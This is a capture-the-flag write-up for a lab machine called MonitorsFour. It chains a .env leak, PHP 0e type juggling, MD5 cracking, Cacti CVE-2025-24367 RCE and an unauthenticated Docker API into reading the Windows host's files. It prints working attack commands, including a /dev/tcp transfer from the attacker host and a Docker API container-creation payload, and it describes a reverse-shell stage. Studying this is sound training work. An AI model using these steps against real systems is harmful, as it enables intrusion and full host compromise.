MonitorsFour – Full Attack Chain from .env Leak to Windows Host Takeover
0. Summary
The full chain, step by step:
/.envleakage reveals DB credentials and Dockerized architecture/user?token=0e1234abuses PHP loose comparison for full user/hash dump- Admin MD5 hash cracked →
wonderful1 - Host-header fuzzing finds
cacti.monitorsfour.htb - Cacti admin login with recovered credentials
- CVE-2025-24367 Graph Template RCE → shell as web user inside Docker container
- fscan from container → Windows host
192.168.65.7exposes Docker API on:2375 - Docker API used to launch a new container with
C:\bind-mounted - New container reads
/host_root/Users/Administrator/Desktop/root.txt→ host root flag
From a single environment leak to full Windows host compromise – all pivoting through one Dockerized Cacti instance and an exposed remote Docker API.
1. Initial Web Attack – Directory Scan & Environment Info Leak
1-1. Directory enumeration
dirsearch -u http://monitorsfour.htb -x 404
Interesting endpoints discovered:
/.env(critical)/login,/user,/admin,/administrator(403)
1-2. .env file exposure
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
This immediately reveals:
- Application is running inside a Dockerized environment
- Internal hostname
mariadbin the same Docker network - Complete DB credentials leak (critical info disclosure)
2. PHP Type Juggling via 0e Tokens
2-1. Testing /user?token=
curl "http://monitorsfour.htb/user?token=AAAA"
{"error":"Invalid or missing token"}
Looks like a token-based lookup endpoint. Perfect candidate for loose comparison bugs.
2-2. 0e magic – abusing PHP loose comparison
Key request:
curl "http://monitorsfour.htb/user?token=0e1234"
Server response (truncated):
[
{
"id": 2,
"username": "admin",
"email": "[email protected]",
"password": "56b32eb43e6f15395f6c46c1c9e1cd36",
"role": "super user",
"token": "8024b78f83f102da4f",
...
},
{
"id": 5,
"username": "mwatson",
"token": "0e543210987654321",
...
},
{
"id": 6,
"username": "janderson",
"token": "0e999999999999999",
...
},
{
"id": 7,
"username": "dthompson",
"token": "0e111111111111111",
...
}
]
Internally, the code is almost certainly doing something like:
$token = $_GET['token'] ?? '';
$matches = [];
foreach ($users as $user) {
if ($user['token'] == $token) { // loose comparison (==)
$matches[] = $user;
}
}
echo json_encode($matches);
Because of PHP’s loose comparison rules:
"0e1234" == "0e999999999" // true
"0e543210987654321" == "0e1234" // true
"0e111111111111111" == "0e1234" // true
Any token shaped like 0e\d+ is treated as 0 when compared loosely, so a single request
with token=0e1234 returns every account with a 0e-style token – including the
admin record and all password hashes.
3. Credential Recovery – Cracking the Admin MD5 Hash
From the response, the admin password hash was:
56b32eb43e6f15395f6c46c1c9e1cd36
32 hex characters → classic MD5. Cracked with rockyou.txt:
56b32eb43e6f15395f6c46c1c9e1cd36 : wonderful1
Final credentials:
username: admin
password: wonderful1
At this point, the chain is already serious: an unauthenticated endpoint leaks all users, and a weak MD5 hash yields full admin access.
4. VirtualHost Enumeration – Finding the Cacti Panel
4-1. VHost fuzzing via Host header
ffuf -u http://monitorsfour.htb/ \
-H "Host: FUZZ.monitorsfour.htb" \
-w subdomains.lst \
-fw 3
Result:
cacti [Status: 302, Size: 0, Words: 1, Lines: 1]
Added to /etc/hosts:
10.10.11.98 cacti.monitorsfour.htb
4-2. Credential reuse on Cacti
Visiting http://cacti.monitorsfour.htb led to the Cacti login page. Reusing
admin / wonderful1 (or marcus / wonderful1 depending on the challenge account) worked
and granted full Cacti admin access.
5. CVE-2025-24367 – Cacti Graph Template RCE
The Cacti instance was vulnerable to CVE-2025-24367, an authenticated RCE via the Graph Template interface. In short:
- Graph template fields are interpolated into RRDTool commands
- Some fields (e.g., axis labels) are not properly escaped
- Malicious input leads to RRDTool command injection
- Which then leads to PHP code execution for the web user
5-1. Exploit behavior
- Login to Cacti with stolen admin credentials
- Use the PoC to locate an existing template (e.g., “Unix - Logged in Users”)
- Inject a payload into a template field that ends up in the graph command line
- Trigger graph generation to execute the payload
Typical payload chain (2-stage):
- Stage 1: use
curlto download a bash script from the attacker - Stage 2: execute the downloaded script to start a reverse shell
After running the exploit PoC, a shell landed as the web user inside the Cacti container:
www-data@821fbd6a43fa:/var/www/html/cacti$
6. Container Recon – Confirming Docker & Internal Layout
6-1. Network layout
ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.3
Signs that we are inside a Docker container:
- Container IP:
172.18.0.3 - Gateway (likely Docker host):
172.18.0.1 - DNS pointing back to something like
192.168.65.7(Windows host)
6-2. Uploading fscan via /dev/tcp
Because the container was minimal (no wget, nc, etc.), file transfer was done using /dev/tcp:
# On Kali (attacker)
nc -lvnp 9001 < fscan
# Inside container
dd of=fscan < /dev/tcp/10.10.14.37/9001
chmod +x fscan
6-3. Internal scan from the container
./fscan -h 192.168.65.7 -p 1-65535
Key finding:
192.168.65.7:2375 open
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce
The Windows host exposes the Docker Remote API on port 2375 without authentication or TLS,
which is essentially remote root over HTTP.
7. Docker API Abuse – Mounting the Host Filesystem
With full access to the Docker API from inside the container, the next step is to create a new container that
mounts the host’s C:\ drive.
7-1. Listing images via Docker API
curl http://192.168.65.7:2375/images/json
Interesting images:
docker_setup-nginx-php:latestdocker_setup-mariadb:latestalpine:latest
Reusing docker_setup-nginx-php:latest makes sense, since the environment is already known to work
and has the necessary tooling.
7-2. Creating a malicious container with a bind mount
Example JSON payload for /containers/create:
{
"Image": "docker_setup-nginx-php:latest",
"Cmd": ["cmd", "/c", "type C:\\Users\\Administrator\\Desktop\\root.txt"],
"HostConfig": {
"Binds": [
"c:/:/host_root"
]
}
}
From the container shell:
# Create the container
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d @create_container.json \
http://192.168.65.7:2375/containers/create -o response.json
# Extract container ID and start it
cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d'"' -f4)
curl -X POST http://192.168.65.7:2375/containers/$cid/start
Once started, that container has /host_root mapped to the host’s C:\ drive. From within
that container, grabbing the Windows root flag is trivial:
type /host_root/Users/Administrator/Desktop/root.txt
8. Security Takeaways
| Weakness | Impact in This Chain |
|---|---|
| .env exposure | Full DB credentials and infrastructure hints (Docker, internal hostnames) |
| PHP type juggling | Single request → multi-user dump (including admin hash) via 0e tokens |
| MD5 password hashing | Admin password recovered instantly with common wordlists |
| Hidden VirtualHosts | Admin Cacti panel discovered via Host-header fuzzing |
| CVE-2025-24367 in Cacti | Authenticated RCE → shell inside Cacti Docker container |
| Unauthenticated Docker API | Arbitrary container creation on the Windows host with bind mounts |
| Host drive bind mount | Direct read access to C:\ including Administrator’s desktop and root.txt |
Overall, a small initial misconfiguration (/.env exposure) cascaded through multiple layers:
application logic, weak cryptography, misconfigured admin services, and finally unsafe container orchestration.
Each layer was “realistic” on its own; chained together, they led straight to full-domain compromise.
9. Key Takeaways
- Environment file exposure is catastrophic. Credentials + internal architecture leaks enable rapid escalation.
- PHP loose comparison remains a real-world authentication risk. 0e-style tokens completely bypassed filtering logic and revealed all users.
- Weak password hashing (MD5) collapses security instantly. Admin privileges were obtained with trivial dictionary cracking.
- VirtualHost enumeration is a required part of recon. Hidden admin services (like Cacti) often live behind Host headers.
- CVE-2025-24367 in Cacti provides direct RCE with admin credentials. Template injection allowed arbitrary code execution inside the container.
- Containers are not security boundaries. Internal scanning exposed the Windows host and additional attack surface.
- Docker Remote API on :2375 = full host compromise. Bind-mounting the host drive enabled full file-system access, including root.txt.
Overall: a single config mistake cascaded into full control of the Windows host.